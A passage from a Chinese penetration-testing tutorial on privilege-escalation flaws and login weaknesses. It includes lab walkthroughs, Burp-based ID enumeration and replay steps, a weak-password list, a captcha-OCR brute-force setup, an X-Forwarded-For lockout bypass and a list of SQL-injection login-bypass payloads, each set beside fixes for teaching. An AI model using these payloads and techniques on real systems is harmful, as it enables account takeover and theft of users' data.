在实际系统中,垂直越权通常出现在后台管理、内容审核、角色管理、配置修改、财务审批等功能中。这些功能本应只对特定角色开放,但如果后端校验不严,低权限用户也可能直接调用相关接口。

3.5.2 常见成因

垂直越权常见的成因主要包括:

1. 权限控制只做在前端页面
2. 后端接口没有校验当前角色
3. role、isAdmin、groupId 等参数可被篡改
4. Token / Cookie 只校验是否有效,不校验权限范围
5. 先执行后校验,导致低权限请求先完成敏感操作

其中比较典型的一类问题是:前端页面已经做了权限区分,例如普通用户看不到“删除”“审核”“导出”按钮,但后台接口并没有再次校验角色权限。

这样一来,只要攻击者能够抓到请求,或者能够猜到接口地址,就仍然可能直接调用管理员功能。

还有一种更危险的情况是先执行后校验。也就是说,请求中的敏感操作已经先执行了,权限判断却放在后面才进行。这样即使系统后面提示“无权限”,实际操作也可能已经生效。

3.5.3 常见测试思路

垂直越权测试时,通常可以从以下方向入手:

  • 用户创建
  • 用户删除
  • 角色分配
  • 审核通过或拒绝
  • 数据导出
  • 后台菜单接口
  • 配置修改
  • 财务审批

常见测试方法如下:

1. 用高权限账号正常操作一次并抓包
2. 退出高权限账号,换低权限账号登录
3. 用低权限账号的 Cookie / Token 重放原请求
4. 观察是否仍然能够成功执行

如果低权限用户仍然可以完成高权限操作,就说明系统后端没有真正落实角色权限校验,存在典型的垂直越权问题。

3.5.4 相关案例

3.5.4.1 案例1:Pikachu 垂直越权靶场

img

tips

img

我们使用admin-123456登录,发现有创建用户的权限

img

img

创建时,使用burpsuite抓取数据包,发现存在登录状态的cookie,并将其发送至Repeater模块,点击Go,使得新用户创建成功。

img

img

退出admin账号,然后我们进入Repeater模块,再次点击Go,发现并没有再次创建是因为随着admin用户的退出登录,Cookie值也已经失效。

我们在pikachu上退出admin用户登录,抓取普通用户pikachu的数据包

img

我们将普通用户pikachu的cookie值用到刚才admin的数据包中重新点击GO

img

我们发现有两个用户创建成功了,成功越权创建用户

img

3.5.4.2 案例2:内部靶场“马春生”

image-20260417153652543

背景:钻石代理商马春生同学卷款逃跑,多位下级代理内心受到了难以磨灭的伤害,为了找到她我们将通过代理网站获取到她的手机号码等信息。

  1. 已知测试账号test/test,登录抓包

    img

  2. 发现登录成功之后会有一个get返回包,里面有一个id值可以为后面的越权做准备
    img
  3. 发现首页有一张各个销售的介绍和照片,查看页面源代码发现马春生砖石代理的id值

    img

  4. burpsuit重放之前获取的get包,将id值改为马春生的id,看是否可以越权绕过。

    img

  5. 成功绕过,获取账号和密码,密码为MD5加密,解密。账号为:m233241、密码为:9732343

    img

  6. 成功登录马春生账户,获取key值

image-20260417155131634

3.6 交叉越权与多阶段流程越权

在实际测试中,还有一类越权问题并不只是“低权限调用高权限接口”这么简单,而是同时混合了流程控制缺失、步骤校验不完整、对象绑定不严格、身份校验未延续到最后一步等问题。

这类问题往往更隐蔽,也更容易出现在找回密码、审批流、退款、审核、角色开通等多步骤业务中。

3.6.1 什么是交叉越权

交叉越权可以理解为:

在同一个业务流程中,身份、对象、步骤之间的绑定关系出现错位,导致攻击者跨用户、跨对象或跨身份完成本不应完成的操作。

例如:

  • A 用户拿到自己的验证码,却用于重置 B 用户密码
  • 普通用户拿到管理员流程中的 token 后继续完成高权限操作
  • 一个步骤验证的是自己,最后一步操作的却是别人
  • 某一步骤生成的合法凭证,被用于另一个对象或另一个流程

这类问题的本质,不是单纯的“没校验”,而是校验过的内容和最终执行的对象不是同一个

3.6.2 什么是多阶段流程越权

多阶段流程越权通常出现在分步骤业务中,例如:

  • 修改密码
  • 找回密码
  • 审核流程
  • 提交审批
  • 商户入驻
  • 角色开通
  • 订单退款

它的典型问题是:

前面步骤做过一次验证,但最后一步没有继续校验当前用户、当前流程和当前目标对象是否一致。

这样就容易出现以下情况:

  • 前面验证的是自己,最后改掉的是别人
  • 前面走的是普通用户流程,最后却调用了管理员接口
  • 前面拿到的是自己的流程 token,最后却把对象改成了其他账号

因此,多阶段流程越权和交叉越权在很多场景里是交织在一起的。它们的共同点都是:系统没有把前面拿到的验证结果,严格绑定到最后实际执行的对象和操作上。

3.6.3 常见成因

交叉越权和多阶段流程越权的常见成因主要包括:

1. 多个步骤之间缺少状态绑定
2. token、验证码、流程凭证未与具体账号或对象绑定
3. 最后一步只校验请求格式,不校验流程来源
4. 前面步骤校验了身份,最后一步却信任前端参数
5. 前置验证通过后,后端没有把校验结果延续到最终操作

这类问题常见于“验证在前,操作在后”的业务。如果系统只证明“有人通过了验证”,却没有证明“这个人现在操作的就是刚才被验证的那个对象”,就很容易出现交叉越权。

3.6.4 常见测试思路

测试这类问题时,建议重点关注以下功能:

  • 修改密码、找回密码、重置密码
  • 多步骤审批、退款、工单处理流程
  • 商户入驻、角色开通、账户升级
  • 审核流程、提交流程、状态流转接口

常见测试方法可以概括为:

1. 正常走完整个多步骤流程
2. 记录最后一步页面或接口
3. 修改最后一步中的 username、uid、account、orderId 等对象参数
4. 观察是否仍然能够成功提交

或者:

1. 使用自己的账号完成前置验证
2. 获取验证码、token、流程 Cookie 或重置链接
3. 在最后一步把目标对象替换成其他用户或其他资源
4. 观察系统是否仍然返回成功

还可以进一步测试:

1. 跳过前置步骤,直接访问最后一步页面或接口
2. 重放前面获取到的 token、验证码或流程凭证
3. 观察这些凭证是否一次性失效
4. 检查这些凭证是否只能用于当前账号、当前流程、当前对象

如果系统允许跳过前置步骤,或者允许把前面得到的合法凭证用于其他对象,就说明后端没有真正落实流程状态校验和对象绑定校验。

3.7 场景案例

3.7.1 案例1:电商后台水平越权——篡改order_id遍历他人订单

  • 场景*

某电商平台“用户中心-我的订单”功能,用户登录后可查看自己的订单详情,请求URL为:https://xxx.com/api/order/getOrderDetail?orderId=123456

  • 漏洞类型*

水平越权(同权限普通用户间)

  • 漏洞分析*

后端仅校验“用户是否登录”(通过Cookie/Token判断),但未校验“请求的orderId是否属于当前登录用户”——攻击者只需篡改orderId(如123457、123458),即可遍历查看其他用户的订单(含收货地址、电话、支付金额)。

  • 实战利用步骤*
  1. 用自己的账号登录,打开“我的订单”,抓包获取查看订单的请求(Burp Suite拦截);
  2. 在Burp的“Repeater”模块中,修改orderId参数值(从123456改为123457),发送请求;
  3. 查看响应包,若返回“订单号123457的详情”(非自己的订单),则漏洞存在;
  4. 批量利用:用Burp的“Intruder”模块,设置orderId为数字递增(1-100000),自动遍历并提取含用户信息的订单数据。
修复方案

后端增加“资源归属校验”:查询orderId对应的订单时,强制关联当前登录用户的user_id(如SQL语句需包含where order_id=? and user_id=当前登录用户ID),非归属订单返回“无权限”。

3.7.2 案例2:CRM系统垂直越权——直接访问管理员报表URL

  • 场景*

某企业CRM系统,普通销售可访问https://xxx.com/sales/index,管理员可访问https://xxx.com/admin/report(查看全公司销售数据报表)。前端通过“隐藏管理员菜单”限制普通用户访问,但未在后端做权限控制。

  • 漏洞类型*

垂直越权(低权限→高权限)

  • 漏洞分析*

后端仅通过“URL路径”判断用户角色,未在/admin/report接口中校验“当前用户是否为管理员角色”——普通用户只要知道管理员URL,即可直接访问高权限功能。

  • 实战利用步骤*
  1. 用普通销售账号登录CRM,记录当前Cookie/Token;
  2. 在浏览器地址栏直接输入管理员报表URL:https://xxx.com/admin/report
  3. 若页面正常显示“全公司销售报表”(含其他销售的客户数据),则漏洞存在;
  4. 进一步测试:尝试访问/admin/userManage(用户管理)、/admin/roleEdit(角色修改),可能发现更多未授权功能。
  • 修复方案*

所有高权限URL/接口统一接入权限拦截器(如Spring Security的@PreAuthorize("hasRole('ADMIN')")),强制校验用户角色,非管理员直接返回403。

3.7.3 案例3:云存储API水平越权——file_id遍历下载他人文件

  • 场景*

某云存储服务,用户上传文件后获得唯一file_id,下载URL为:https://xxx.com/download?fileId=abcdef123456&token=用户的下载凭证

  • 漏洞类型*

水平越权(同权限用户间)

  • 漏洞分析*

后端仅校验“token是否有效”(即是否为注册用户),但未校验“fileId对应的文件是否属于该token所属用户”——攻击者可生成随机file_id(如字母+数字组合),结合自己的有效token,遍历下载他人文件。

  • 实战利用步骤*
  1. 注册账号并上传1个文件,获取自己的tokenfile_id(如abcdef123456);
  2. 构造下载URL:https://xxx.com/download?fileId=abcdef123457&token=自己的token,用Burp发送请求;
  3. 若响应为“文件下载流”(非“无权限”或“文件不存在”),则漏洞存在;
  4. 批量利用:用Python脚本生成随机file_id(按云存储的file_id格式,如16位字母数字),循环拼接URL并请求,保存返回的有效文件。
  • 修复方案*

建立“file_id-user_id”关联表,下载时后端强制校验“当前token对应的user_id是否与file_id的归属user_id一致”。

3.7.4 案例4:管理系统垂直越权——篡改user_id修改管理员密码

  • 场景*

某后台管理系统,普通管理员可修改自己的密码,请求接口为:POST /api/user/resetPwd,请求体为:

{
  "userId": 1001,  // 普通管理员自己的ID
  "newPwd": "123456"
}
  • 漏洞类型*

垂直越权(低权限→高权限)

  • 漏洞分析*

后端仅校验“当前用户是否有权修改userId对应的账号”,但未校验“userId对应的账号角色”——普通管理员(角色ID=2)若将userId改为管理员账号(角色ID=1,userId=1000),即可重置管理员密码。

  • 实战利用步骤*
  1. 用普通管理员账号(userId=1001)登录,抓包获取“修改密码”的POST请求;
  2. 在Burp中修改请求体的userId为1000(假设管理员账号ID为1000),newPwd设为自己的密码;
  3. 发送请求,若返回“修改成功”,则用userId=1000和新密码尝试登录管理员后台;
  4. 若登录成功,说明已通过垂直越权获取管理员权限。
修复方案

修改密码时,后端不仅要校验“当前用户是否有权操作userId”,还要校验“userId的角色等级≤当前用户的角色等级”(如普通管理员无法操作管理员角色的账号)。

3.7.5 案例5:物流系统水平越权——未校验网点权限修改他人运单

场景

某物流系统,每个网点只能管理自己的运单(如修改运单状态为“已派送”),请求接口为:POST /api/waybill/updateStatus,请求体:

{
  "waybillId": 5678,
  "status": "DELIVERED",
  "branchId": 3  // 当前网点ID
}
漏洞类型

水平越权(同权限网点间)

漏洞分析

后端仅校验“branchId是否存在”,但未校验“waybillId对应的运单是否属于branchId所属网点”——网点A(branchId=3)可篡改waybillId为网点B的运单ID,修改其状态(如将“待派送”改为“已签收”),干扰正常业务。

实战利用步骤
  1. 用网点A的账号登录,获取1个自己的运单ID(如5678),抓包修改运单状态的请求;
  2. 从公开渠道(如物流查询页面)获取网点B的运单ID(如5679),在Burp中修改waybillId=5679,保持branchId=3
  3. 发送请求,若返回“修改成功”,则登录网点B账号查看该运单,确认状态已被篡改;
  4. 进一步测试:尝试将网点B的运单状态改为“已取消”,破坏其业务流程。
修复方案

建立“运单-网点”关联关系,修改运单状态时,后端强制校验“waybillId所属的网点ID是否等于请求中的branchId”。

3.7.6 案例6:CMS系统水平越权——编辑他人文章(未校验作者ID)

场景

某CMS系统(内容管理),作者可编辑自己发布的文章,编辑页面的请求为:POST /api/article/edit,请求体:

{
  "articleId": 789,
  "title": "修改后的标题",
  "content": "修改后的内容"
}
漏洞类型

水平越权(同权限作者间)

漏洞分析

后端仅校验“当前用户是否为作者角色”,但未校验“articleId对应的文章作者是否为当前用户”——作者A可篡改articleId为作者B的文章ID,修改其标题、内容(如植入广告、篡改观点)。

实战利用步骤
  1. 用作者A账号发布1篇文章,获取articleId=789,抓包编辑文章的请求;
  2. 在CMS的“文章列表”页面(公开可看),获取作者B的文章ID(如790);
  3. 在Burp中修改articleId=790,修改title为“测试越权编辑”,发送请求;
  4. 访问作者B的文章详情页,若标题已被改为“测试越权编辑”,则漏洞存在。
修复方案

编辑文章时,后端查询articleId对应的authorId,并与当前登录用户的userId对比,一致才允许编辑。

3.8 越权检测工具

  • Autorize/AutorizePro:半自动化神器*
  • Autorize*:经典的Burp越权检测插件,原理是自动替换请求中的Cookie/Header,对比响应。
  • AutorizePro:增强版,加入AI分析模块,将误报率从99%降至5%*。
  • 使用技巧*:
  1. 配置好高权限用户的Cookie/Token
  2. 启用插件,正常浏览应用
  3. 插件自动对每个请求进行“低权限用户”版本测试
  4. 重点关注“Bypassed”状态的请求

同时登录两个账号,比如在插件里填入低权限账号的cookie,浏览器操作高权限账号访问接口,插件会自动替换cookie尝试使用低权限用户访问对应接口,如果显示Bypassed!说明可能存在越权漏洞

image-20260418130604198

3.9 实验

完成以下实验

  1. Pikachu靶场水平越权垂直越权题目
  2. 内部靶场“马春生”题目
  3. 好靶场以下题目:

http://www.loveli.com.cn/findbug?keyword=%E8%B6%8A%E6%9D%83

  • 越权获取信息

image-20260420151339649

直接修改id就行了

image-20260420151657539

  • 隐藏的参数

image-20260420154240150

  • 一个多租户的学生登录系统2

先抓取俄罗斯大学和好靶场的school值,登录美国大学的时候把PID值和school值都改成俄罗斯大学或者好靶场的值,tpye置空,就能看到越权后的信息了

image-20260420155931515

27cIKuqeUXUc0f2qfEMgqkIZSMRrYaEvWmSC5zRA-kU

image-20260420160927378

image-20260420160940814

4. 登录相关逻辑漏洞

4.1 登录功能概述

登录功能表面上只是“输入账号和密码后进入系统”,但实际涉及的安全控制点很多,包括账号识别密码验证验证码校验登录失败限制风控策略会话签发Cookie / Session / Token 管理,以及多端登录状态同步等。只要这些环节中有一个设计不严,就可能导致弱口令登录暴力破解验证码绕过任意用户登录会话接管等问题。

从渗透测试角度看,登录框不只是一个认证入口,它往往还是多个漏洞的汇集点。

登录框测试清单:用户枚举、弱口令、空口令、验证码复用、验证码爆破、短信轰炸、SQL 注入、万能密码、Cookie 问题、SSO 缺陷、任意用户登录等。

4.2 弱口令

4.2.1 什么是弱口令

弱口令是指容易被猜测、暴力破解或通过社会工程学获取的登录密码

通常表现为长度过短(如少于8位)、使用常见词汇(如"password"、"admin")、简单数字序列(如"123456")、键盘连续字符(如"qwerty")或包含个人易被猜到的信息(如生日、姓名拼音)。

这类密码字符组合简单、熵值低,攻击者利用字典攻击或暴力破解工具可在极短时间内突破,是导致账户被盗、数据泄露和未授权访问的最常见安全漏洞之一。

4.2.2 常见的弱口令

弱口令并没有特别严格的统一定义,但通常可以理解为:容易被猜测、容易被通用字典命中,或者可以结合用户和目标信息快速构造出来的密码。

弱口令一般分成两类:一类是通用型弱口令,另一类是与用户信息、系统信息相关的条件型弱口令。

从实际渗透测试角度看,弱口令通常有以下几类:

  • 1. 默认口令、空口令和账号密码相同*

这类问题最常见,也最容易先测。典型情况包括:

  • 空口令
  • 系统默认口令
  • 用户名与密码相同
  • 安装后未修改的初始化账号密码

例如常见的后台口令中,经常会出现 adminadmin123admin888managerroottomcat 等组合;

而一些常见组件或后台系统,也经常存在“默认账号 + 默认密码”的历史问题。

  • 2. 过短、过简单的纯数字或纯字母口令*

这类密码通常长度较短,组成单一,缺乏复杂度,例如:

  • 123456
  • 123123
  • 111111
  • 000000
  • abcdef
  • aaaaaa

如果口令长度小于 8 位,且仅由纯数字、纯字母构成,一般都应优先视为高风险弱口令。

  • 3. 重复型和规律型口令*

这类密码虽然看起来“不是默认密码”,但仍然非常容易被猜中,例如:

  • 单个字符重复:AAAAAAAAA
  • 简单模式重复:abcabcabc
  • 键盘规律:qwe1231qaz2wsx1q2w3e4r
  • 4. 基于用户名或个人信息构造的口令*

这一类往往不是公开通用弱口令,而是条件型弱口令

也就是说,密码会和用户本人的公开信息、习惯信息或社工信息有关,例如:

  • 用户名 + 123456
  • 姓名拼音 + 出生年份
  • 手机号后六位
  • 工号、学号
  • 身份证后几位
  • 邮箱前缀
  • 本人、父母、子女、配偶姓名及生日
  • 纪念日、常用数字组合等
  • 5. 基于目标系统信息构造的口令*

除了用户个人信息,目标系统本身的信息也经常会进入密码组合,例如:

  • 域名
  • 品牌名
  • 公司简称
  • 项目名称
  • 建站年份
  • 业务名称

例如一些后台、CMS 或内部系统,管理员可能会直接使用“品牌名 + 年份”“系统名 + 123”“域名前缀 + 888”这一类口令。这类密码虽然不像 123456 那样通用,但在定向测试中命中率往往更高。

国内TOP100弱口令

123456
123456.
a123456
a123456.
123456a
123456a.
123456abc
123456abc.
abc123456
abc123456.
woaini1314
woaini1314.
qq123456
qq123456.
woaini520
woaini520.
woaini123
woaini123.
woaini521
woaini521.
qazwsx
qazwsx.
1qaz2wsx
1qaz2wsx.
1q2w3e4r
1q2w3e4r.
1q2w3e4r5t
1q2w3e4r5t.
1q2w3e
1q2w3e.
qwertyuiop
qwertyuiop.
zxcvbnm
zxcvbnm.
123456
a123456
123456a
5201314
111111
woaini1314
qq123456
123123
000000
1qaz2wsx
1q2w3e4r
qwe123
7758521
123qwe
a123123
123456aa
woaini520
woaini
100200
1314520
woaini123
123321
q123456
123456789
123456789a
5211314
asd123
a123456789
z123456
asd123456
a5201314
aa123456
zhang123
aptx4869
123123a
1q2w3e4r5t
1qazxsw2
5201314a
1q2w3e
aini1314
31415926
q1w2e3r4
123456qq
woaini521
1234qwer
a111111
520520
iloveyou
abc123
110110
111111a
123456abc
w123456
7758258
123qweasd
159753
qwer1234
a000000
qq123123
zxc123
123654
abc123456
123456q
qq5201314
12345678
000000a
456852
as123456
1314521
112233
521521
qazwsx123
zxc123456
abcd1234
asdasd
666666
love1314
QAZ123
aaa123
q1w2e3
aaaaaa
a123321
123000
11111111
12qwaszx
5845201314
s123456
nihao123
caonima123
zxcvbnm123
wang123
159357
1A2B3C4D
asdasd123
584520
753951
147258
1123581321
110120
qq1314520

也可以使用这个超大字典合集里的字典

https://pan.baidu.com/s/1Ch9QaE5YPxYBdtXAffRlyw?pwd=xn98 提取码: xn98
image-20260418173531097

或者这个:

https://github.com/shadowabi/S-BlastingDictionary

从实战上讲,弱口令并不只是“简单密码”这么狭义的概念。
凡是可以被猜到、可以被通用字典命中,或者可以借助目标信息快速生成出来的密码,都应纳入弱口令排查范围。

4.2.3 字典生成思路

在实际渗透测试中,弱口令爆破不能只依赖通用字典,还应结合目标信息生成定制字典。

常见组合思路包括:姓名拼音、姓名缩写、出生年份、域名前缀、建站年份,以及在字母和数字之间加入 @_ 等符号。

其核心思路是:把公开可收集的信息转化为更贴近真实用户习惯的密码规则。

可以根据社工字典生成器生成:

https://www.bugku.com/mima/

https://github.com/G0mini/spark

image-20260418141554892

4.2.4 常见测试思路

测试弱口令时,通常可以先从“低成本、高命中”的组合入手:

1. 先确定是否存在默认账号、测试账号
2. 根据用户名、邮箱前缀、手机号构造简单密码
3. 结合目标名称、年份、域名生成定制字典
4. 对返回结果做长度、状态码、跳转差异分析

如果系统还存在用户枚举问题,就可以先确定有效用户名,再对这些用户名进行定向弱口令尝试,从而显著提高成功率。

4.3 暴力破解

4.3.1 什么是暴力破解

暴力破解是指攻击者针对登录接口,批量尝试账号和密码组合,直到命中正确账号密码。

它既可能表现为“盲猜密码”,也可能表现为“针对特定用户名定向尝试常见密码”,甚至还可能与验证码绕过、IP 限制绕过、字典生成等手段结合使用。

4.3.2 常见成因

登录接口之所以容易出现爆破风险,通常与以下几个问题有关:

1. 没有限制尝试次数
2. 没有验证码,或验证码存在绕过空间
3. 没有锁定机制,或锁定逻辑可被绕过
4. 返回信息过于明确,便于区分用户名是否存在
5. 风控只基于单一维度,例如只按 IP 计数
6. 存在弱口令、默认口令、测试账号等问题

这些问题往往不是单独出现的,而是相互叠加。例如,一个系统如果既没有验证码、又允许无限次尝试、还存在弱口令,那么登录爆破的成本就会非常低。

4.3.3 无验证码爆破

无验证码爆破是最典型、也最容易理解的一类登录风险。

如果登录接口没有图形验证码、滑块验证码或短信验证码等附加限制,攻击者就可以直接对账号密码组合进行批量尝试。

  • 常见测试思路*
1. 观察登录接口是否存在验证码参数
2. 测试同一账号连续错误尝试是否有限制
3. 测试同一IP连续请求是否触发拦截
4. 比较成功与失败响应在长度、字段、跳转上的差异
5. 先做用户名枚举,再做定向口令尝试

如果系统只是简单返回“账号或密码错误”,并不意味着无法爆破。很多时候,仍然可以通过响应长度、状态码、重定向行为或某些隐藏字段来区分结果。

4.3.4 有验证码爆破

很多系统为了防止爆破,会在登录、修改密码、找回密码等场景中加入图形验证码或短信验证码。

但验证码“存在” ≠ 验证码“有效”。

验证码不刷新、验证码失效、验证码只在前端校验、验证码可重复使用、验证码可 OCR 识别、短信验证码可暴力尝试,都会让验证码机制形同虚设。

4.3.4.1 常见问题类型

常见问题包括:

1. 图形验证码不刷新,可重复使用
2. 图形验证码通过一次后不失效
3. 验证码仅在前端校验
4. 验证码明文或校验结果返回到前端
5. 短信验证码无次数限制、无频率限制
6. 同一验证码可重复提交或跨流程使用
7. 验证码接收对象与最终操作对象未绑定

例如,有些系统在图形验证码第一次验证成功后,后续不刷新页面仍可继续使用同一个验证码;

也有些系统对 6 位短信验证码不限制尝试次数,这就给自动化爆破留下了空间。

  • 验证码仅在前端校验例子:*

比如一个注册请求,页面上要求输入图形验证码,正常点击按钮前,前端 JS 会判断验证码输入框是不是等于某个值。

但如果攻击者不用页面点按钮,而是直接抓包发送:

POST /register HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "username": "test01",
  "password": "123456"
}

如果服务器仍然返回注册成功,那就说明验证码根本没有在后端生效。

这就是典型的“验证码仅在前端校验”。

  • 验证码明文或校验结果返回到前端例子:*

例子 1:接口响应里直接返回验证码值

前端请求验证码:

GET /api/captcha HTTP/1.1
Host: example.com

服务器响应:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "captchaId": "8f3a21",
  "img": "data:image/png;base64,iVBORw0KGgoAAA...",
  "code": "5274"
}

这里的 code: "5274" 就是正确验证码。

这种就是最典型的验证码明文返回到前端

例子 1:单独校验接口直接告诉前端对不对

前端先调用校验接口:

POST /api/checkCaptcha HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "captchaId": "8f3a21",
  "captcha": "5274"
}

服务器返回:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "success": true,
  "msg": "验证码正确"
}

这个结果本身不一定有问题,问题在于后续注册或登录接口如果不再校验验证码,而只是信任这个前端结果

比如前端接着提交:

POST /api/register HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "username": "test01",
  "password": "123456",
  "captchaChecked": true
}

如果后端只看 captchaChecked=true 就放行,那就有问题了。

因为攻击者完全可以自己构造这个参数。

4.3.4.2 有限制验证码爆破

如果验证码没有明显问题,还需要进行爆破的话,可以结合使用验证码识别插件爆破。

主要使用的插件:https://github.com/f0ng/captcha-killer-modified

  • 什么是 captcha-killer?*

总的来说,它是个用 Java 写的插件,可以无缝衔接于 burp. 但是他只是一个调用接口,并不进行识别的操作,真正进行验证码识别处理的是两个个用 Python 脚本 (codereg.py) 调用的两个接口 (ddddocr 和 aiohttp),我们主要用ddddocr。

captcha-killer 设计理念是只专注做好对各种验证码识别技术接口的调用,说具体点就是 burp 通过这一个插件,就可以适配各种验证码识别接口,无需重复编写调用代码.

  • 简要介绍 codereg.py*

个人理解,这个脚本的整体识别流程是通过 python 在本地开启一个验证码识别的 web 接口来接收 captcha-killer 传来的验证码图片内容,然后调用识别服务 (利用机器学习) 来识别,最后返回结果给 captcha-killer。

  • 插件安装教程*

打开 Burp-> 选择扩展(Extender)-> 添加(Add)-> 选择文件 (Select ffile)-> 选择下载的 captcha-killer-modified-0.24.7-jdk8.jar 文件

img

项目栏多出 captcha-killer-modified,表示安装完成

img

  • Python 验证码识别部署*

python 验证码识别项目:https://github.com/f0ng/captcha-killer-modified

将项目下载后,pip安装需要的库

pip install -r requestments.txt

image-20260418150544742

  • 插件使用教程*
  • 1. 打开目标网站*

img

  • 2. 打开 bp 代理抓包*

此时点击验证码图片刷新,bp 捕捉到包

右击把包发送到 captcha-killer 模块中

img

  • 3. 获取验证码*

点击获取,即可拿到请求的验证码

image-20260418154853643

  • 4. 配置接口并识别验证码*

接口地址:http://127.0.0.1:8888(端口根据自己设定更改,也就是上面python脚本监听的地址)

请求模板:

请求模板根据实际情况选

image-20260418150738502

选择对应模板,会自动构造请求

image-20260418154939564

  1. 整体步骤

正式开始爆破的时候,记得勾选是否使用该插件

image-20260418155129180

  • 爆破使用教程*
  • 1. 重新抓包*

在登录框输入 “账号”、“密码”、“验证码”,并且发送到 Intruder(快捷键 Ctrl+I)模块中

  • 2. Intruder 模块设置*

攻击类型选择:Pitchfork

在密码和验证码处添加 payload

image-20260418155216873

  • 3. payload 设置*

payload1 按照常规设置添加密码字典

image-20260418155254227

可以从上面的请求看到,我测试的这个站点还对密码加密了,实际上能看出来是对密码进行MD5然后大写

Payload Processing中可以增加对payload的处理,hash中选择md5,然后Modify caseTo upper case转大写即可。

  • payload2 是验证码的值*

选择继承插件模式

继承插件选择 captcha-killer-modified

image-20260418151244677

  1. 线程设置

验证码识别爆破机制只能设置单线程

img

  1. 开始爆破

image-20260418154739198

4.3.5 登录限制绕过与 X-Forwarded-For 绕过

4.3.5.1 常见限制策略

很多系统会对登录失败次数做限制,例如:

  • 同一 IP 错误 5 次后临时封禁
  • 同一账号短时间内禁止继续尝试
  • 错误次数达到阈值后出现验证码
  • 某个源地址被限速或加入黑名单

这些机制本身是为了防止暴力破解,但如果实现方式不严,也可能被绕过。

4.3.5.2 X-Forwarded-For 绕过思路

一个比较常见的绕过点是:系统把 X-Forwarded-For 当成真实客户端 IP 来计数或判断来源,但没有验证这个头部是否可信。

这样一来,攻击者就可以伪造不同的 X-Forwarded-For 值,让后端误以为请求来自不同 IP,从而绕过基于 IP 的登录次数限制。

这类问题的本质是:

服务端把客户端可控的头部,当成了可信的风控依据。
4.3.5.3 常见测试思路
1. 先触发一次正常的登录失败限制
2. 在请求头中加入 X-Forwarded-For
3. 修改其值后继续发送登录请求
4. 观察限制是否被重置或绕过

4.4 SQL 注入与万能密码

4.4.1 简介

登录功能一直都是 SQL 注入的重点排查位置。

如果后端在处理用户名、密码时直接拼接 SQL 语句,就可能被攻击者通过构造特殊输入干扰原有查询条件,从而绕过正常的身份校验逻辑。

也正因为如此,在测试登录框时,通常都会单独关注 SQL 注入和万能密码这两类问题。因为一旦存在,影响往往比较直接,轻则导致认证逻辑失效,重则可能直接造成未授权登录。

4.4.2 常见问题类型

登录框里的这类问题,实际测试中一般不止一种情况。比较常见的可以分为以下三类:

第一类是认证绕过型 SQL 注入

这也是平时常说的“万能密码”场景。攻击者通过在用户名或密码参数中构造特殊 SQL 语句,改变原本的查询条件,使后端误以为认证通过,最终在不知道真实密码的情况下直接登录系统。

第二类是普通 SQL 注入,但不一定能够直接登录

也就是说,登录接口本身存在注入点,但注入后的效果未必一定是“直接绕过认证”。

例如,可能表现为报错回显、布尔盲注、时间盲注,或者只能用于探测数据库结构、判断字段内容。

这类问题同样需要重视,因为它说明登录参数已经进入了后端 SQL 语句,只是当前场景下未必刚好能形成万能密码式的认证绕过。

第三类是认证逻辑本身存在缺陷

这种情况不一定和 SQL 注入有关,而是后端在账号密码比较、类型判断或条件判断上存在错误,导致攻击者可以利用逻辑缺陷绕过认证。

比如有些代码在比较时使用不严谨的弱比较,最终让异常输入被系统当成合法结果处理。

总结:

登录框测试时,不能只盯着“能不能直接用万能密码登录”。有些系统虽然不存在典型的认证绕过型注入,但用户名、密码参数仍然可能存在普通 SQL 注入,这同样属于高风险问题,只是利用结果不一定直接表现为登录成功。

4.4.3 常见万能密码 Payload

常见的万能密码注入payload:

'/**/or/**/'2'>'1
'/**/or/**/''='
'/**/UnIon/**/SeLect/**/1,1,1/**/from/**/admin/**/Where/**/''='
'/**/or/**/2>1#
admin'#
admin'--/**/
admin'/**/or/**/1=1#
admin'/**/or/**/1=1--/**/
admin'/**/or/**/'1'='1
'='
'/**/or/**/2>1--/**/
admin'/**/and/**/2/**/BeTween/**/1/**/and/**/3--/**/
admin'/**/and/**/2/**/BeTween/**/1/**/and/**/3#
admin'/*
'or/**/1=1/*
or/**/a"="a
"or/**/1=1--
or""="""
or="a'='a
"or1=1--
or=or"""
''or'='or'
')/**/or/**/('a'='a
'.).or.('.a.'='.a
'or/**/1=1
'or/**/1=1--
'or"="a'='a
'or'/**/'1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or'/**/1=1--
a'or'1=1--
or/**/'a'='a'
or/**/1=1--
or1=1--
'.).or.('.a.'='.a/**/
or/**/=/*
"or/**/1=1%00
'OR/**/1=1%00
-1%cf'/**/UnIon/**/SeLect/**/1,1,1/**/as/**/password,1,1,1/**/%23"
' or '1'='1
' or ''='
1
' or 1=1#
' or 1=1-- 

实际场景中,不同数据库、不同注释符、不同编码方式会导致表现形式不完全一样。

可以把常见的万能密码payload整理成字典,方便以后批量测试。

4.4.4 常见测试思路

1. 在用户名、密码字段尝试单引号、双引号等特殊字符
2. 观察是否出现报错、响应差异或绕过现象
3. 测试用户名与密码字段是否都参与查询
4. 检查认证逻辑中是否存在弱比较、类型转换等问题

如果系统在输入异常字符后出现数据库报错、登录状态异常、或者无需真实密码即可登录,就应重点考虑认证相关的 SQL 注入或逻辑比较缺陷。

4.5 Cookie 伪造

4.5.1 什么是 Cookie 伪造

Cookie 伪造是指攻击者伪造、篡改或猜测登录态 Cookie 中的身份信息,从而冒充其他用户。

比如:接口直接从 Cookie 中读取 userID 判断身份,或直接从 Cookie 中读取 role 判断权限。这种情况下,只要 Cookie 可控,就可能伪造成任意用户或直接提权。

4.5.2 常见表现

常见问题包括:

  • Cookie 中直接写明 username=admin
  • Cookie 中身份信息仅做 Base64 编码,没有签名保护
  • 角色字段放在前端可控 Cookie 中
  • 仅凭 Session 标识存在就默认已登录

4.5.3 常见测试思路

1. 观察 Cookie 中是否存在明文身份字段
2. 修改 username / uid / role / isAdmin
3. 尝试 Base64 解码与重编码
4. 比较不同用户 Cookie 的差异
5. 删除签名部分,观察后端是否仍接受

如果后端只是“看 Cookie 里写了什么”,而不是根据服务端会话数据判断身份,就容易出现伪造登录和权限提升问题。

4.6 多点登录

4.6.1 什么是多点登录问题

多点登录本身不一定构成漏洞,但在一些敏感系统中,如果同一账号可以在多个终端、多个浏览器同时有效登录,而且系统没有给出提醒、没有旧会话淘汰机制,就会放大账号泄露后的风险。

最直接的测试方法:

